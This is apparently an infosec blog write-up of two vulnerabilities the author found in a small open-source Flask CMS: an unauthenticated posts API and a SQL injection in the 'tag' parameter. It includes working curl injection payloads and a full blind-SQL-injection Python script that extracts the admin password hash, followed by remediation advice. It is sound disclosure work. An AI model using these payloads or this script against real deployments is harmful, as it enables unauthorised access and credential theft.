xanhacks - infosec blog

Find 0days in a random application on Github

·5 mins

For fun, I decided to look for 0days in open source Github projects. To avoid having to audit big or non-updated applications, I sorted the repositories by “Recently updated” and start digging.

github flask

My goal was not to find every small vulnerability or security recommendation on an application but to find at least one critical vulnerability.

Flask Mini CMS #

So, I started looking for vulnerabilities in this project.

Local installation #

This application is very easy to install, you just need to build and run the docker-compose.

$ git clone https://github.com/eugene-afk/flask-mini-cms
$ cd flask-mini-cms
$ sudo docker-compose up -d --build

Then, visit localhost:50550/init to create the first user. After that, you can create posts on the CMS via the web dashboard.

Vulnerabilities #

I found two majors vulnerabilities on this Flask CMS, one about broken access control and another about SQL injection.

Broken access control #

If you go to /post, you are redirected to /login with the following error message : Please log to access this page.

login page

However, you can see the content of all the posts, tags and categories using the API :

$ curl -s http://localhost:50550/api/posts | jq
{
  "current_page": 1,
  "posts": [
    {
      "author": "toto",
      "category_id": 1,
      "id": 1,
      "img": "default.jpg",
      "publishDate": "2021-11-05 11:30",
      "shortDesc": "Very cool description.",
      "tags": [
        {
          "tag_name": "help"
        }
      ],
      "title": "My first post"
    }
  ],
  "total_pages": 1
} 

I don’t really know if this is a vulnerability or an expected behavior of the Flask CMS.

The remediation for this vulnerability is pretty simple, you just need to check if the user is logged in by using the @login_required python decorator.

SQL Injection #

After a little bit of manual static code analysis, I came across this function :

@public.route('/api/posts/<int:id>', methods=['GET'])
def get_posts_by_category_id(id):
    try:
        tag_ids = request.args.getlist('tag')
        page = request.args.get('page', 1, type=int)
        row_per_page = request.args.get('rowsperpage', ROW_PER_PAGE, type=int)

        if tag_ids:
            sql_tags_filter = ""
            for i in tag_ids:
                sql_tags_filter += " or tag_id = " + str(i)
                
            sql_tags_filter = sql_tags_filter[4:]
            posts = Post.query.filter_by(published=True, category_id=id).join(PostTag,
            Post.id == PostTag.post_id).filter(text(sql_tags_filter)).paginate(page=page, per_page=row_per_page)
        else:
            posts = Post.query.filter_by(published=True, category_id=id).paginate(page=page, per_page=row_per_page)

        data = { 
            'total_pages': posts.pages,
            'current_page': posts.page,
            'posts': 
                [e.serialize_short() for e in posts.items]
        }
    except Exception as ex:
        data = {
            'error': str(ex)
        }
    return jsonify(data)

As you can see, we have raw SQL in the query, filter(text(sql_tags_filter)). The value of the variable sql_tags_filter depends on the value of tag_ids (?tag=) which is controlled by the user.

Let’s try it :

$ curl 'http://localhost:50550/api/posts/1?tag=xyz'
{"error":"(sqlite3.OperationalError) no such column: xyz\n[SQL: SELECT post.id AS post_id, post.category_id AS post_category_id, post.title AS post_title, post.\"shortDesc\" AS \"post_shortDesc\", post.\"full\" AS post_full, post.\"imgMain\" AS \"post_imgMain\", post.published AS post_published, post.\"publishDate\" AS \"post_publishDate\", post.\"lastUpdated\" AS \"post_lastUpdated\", post.owner_id AS post_owner_id \nFROM post JOIN post_tag ON post.id = post_tag.post_id \nWHERE post.published = 1 AND post.category_id = ? AND tag_id = xyz\n LIMIT ? OFFSET ?]\n[parameters: (1, 10, 0)]\n(Background on this error at: http://sqlalche.me/e/13/e3q8)"}

The server gives us the SQL query :

SELECT post.id AS post_id, post.category_id AS post_category_id, post.title AS post_title, post.shortDesc AS post_shortDesc, post.full AS post_full, post.imgMain AS post_imgMain, post.published AS post_published, post.publishDate AS post_publishDate, post.lastUpdated AS post_lastUpdated, post.owner_id AS post_owner_id
FROM post
JOIN post_tag
    ON post.id = post_tag.post_id
    WHERE post.published = 1
        AND post.category_id = ?
        AND tag_id = xyz -- <-- USER INPUT
LIMIT ?
OFFSET ?

Let’s inject the query using the --data-url-encode parameter of curl which URL encode our tag parameter.

$ curl --get 'http://localhost:50550/api/posts/1' --data-urlencode "tag=0"
{"current_page":1,"posts":[],"total_pages":0}

$ curl --get 'http://localhost:50550/api/posts/1' --data-urlencode "tag=0 OR 1=1"
{"current_page":1,"posts":[{"author":"toto","category_id":1,"id":1,"img":"default.jpg","publishDate":"2021-11-05 11:30","shortDesc":"Very cool description.","tags":[{"tag_name":"help"}],"title":"My first post"}],"total_pages":1}

We have an SQL Injection ! Now, let’s try to extract the admin user password.

Using an SQL UNION injection was a bit of pain as the query needs to return a valid list of posts.

$ curl --get 'http://localhost:50550/api/posts/1' \
    --data-urlencode "tag=0 UNION SELECT 1,2,3,4,5,6,7,DATETIME('now'),DATETIME('now'),11"
{"error":"'NoneType' object has no attribute 'name'"}

Let’s start using subquery instead :

$ curl --get 'http://localhost:50550/api/posts/1' \
    --data-urlencode "tag=1 AND 1=(SELECT 1)"
{"current_page":1,"posts":[{"author":"toto","category_id":1,"id":1,"img":"default.jpg","publishDate":"2021-11-05 11:30","shortDesc":"Very cool description.","tags":[{"tag_name":"help"}],"title":"My first post"}],"total_pages":1}

It works ! Now we can extract all the database ! To demonstrate this, I have created a python script that extracts the password of the first user in the database :

#!/usr/bin/env python3
from time import sleep
from requests import get


def bool_sqli(query):
    """If the list of posts returned by the server is not empty, the query is correct."""
    req = get("http://localhost:50550/api/posts/1?" + query)
    return len(req.json()["posts"])


def find_password_length(min_length, max_length):
    """Find the password length using a dichotomic search."""
    possible_length = int((min_length + max_length) / 2)

    query = f"tag=1 AND {possible_length} = (SELECT LENGTH(password) FROM user WHERE id = 1)"
    if bool_sqli(query):
        return possible_length

    sleep(0.2)

    query = f"tag=1 AND {possible_length} > (SELECT LENGTH(password) FROM user WHERE id = 1)"
    if bool_sqli(query):
        return find_password_length(min_length, possible_length)
    return find_password_length(possible_length, max_length)


def find_password(min_char, max_char, pos):
    """Find the password of the user using a dichotomic search."""
    possible_char = int((min_char + max_char) / 2)

    query = f"tag=1 AND {possible_char}=(SELECT UNICODE(SUBSTR(password, {pos}, 1)) FROM user WHERE id = 1)"
    if bool_sqli(query):
        return chr(possible_char)

    sleep(0.2)

    query = f"tag=1 AND {possible_char}>(SELECT UNICODE(SUBSTR(password, {pos}, 1)) FROM user WHERE id = 1)"
    if bool_sqli(query):
        return find_password(min_char, possible_char, pos)
    return find_password(possible_char, max_char, pos)


password_length = find_password_length(1, 128)
print("Password length =", password_length)


for i in range(1, password_length + 1):
    print(find_password(32, 127, i), flush=True, end="")

Execution :

$ python3 extract_password.py
Password length = 88
sha256$SvKTDmVGf0RwcP33$57284543b3258d8d155f00b54607f234595266143578082c95faf6500be07121

The hash below corresponds to my user password which is toto, let’s verify that :

$ python3
Python 3.9.7 (default, Aug 31 2021, 13:28:12)
[GCC 11.1.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from werkzeug.security import check_password_hash
>>> check_password_hash('sha256$SvKTDmVGf0RwcP33$57284543b3258d8d155f00b54607f234595266143578082c95faf6500be07121', 'toto')
True

As you can see, you can extract the administrator’s password without any privileged (you do not need an account on the CMS).

The remediation for this vulnerability, is to use a SQLAlchemy prepared function to avoid SQL Injection, for example using the function in_().

I hope you enjoyed this article !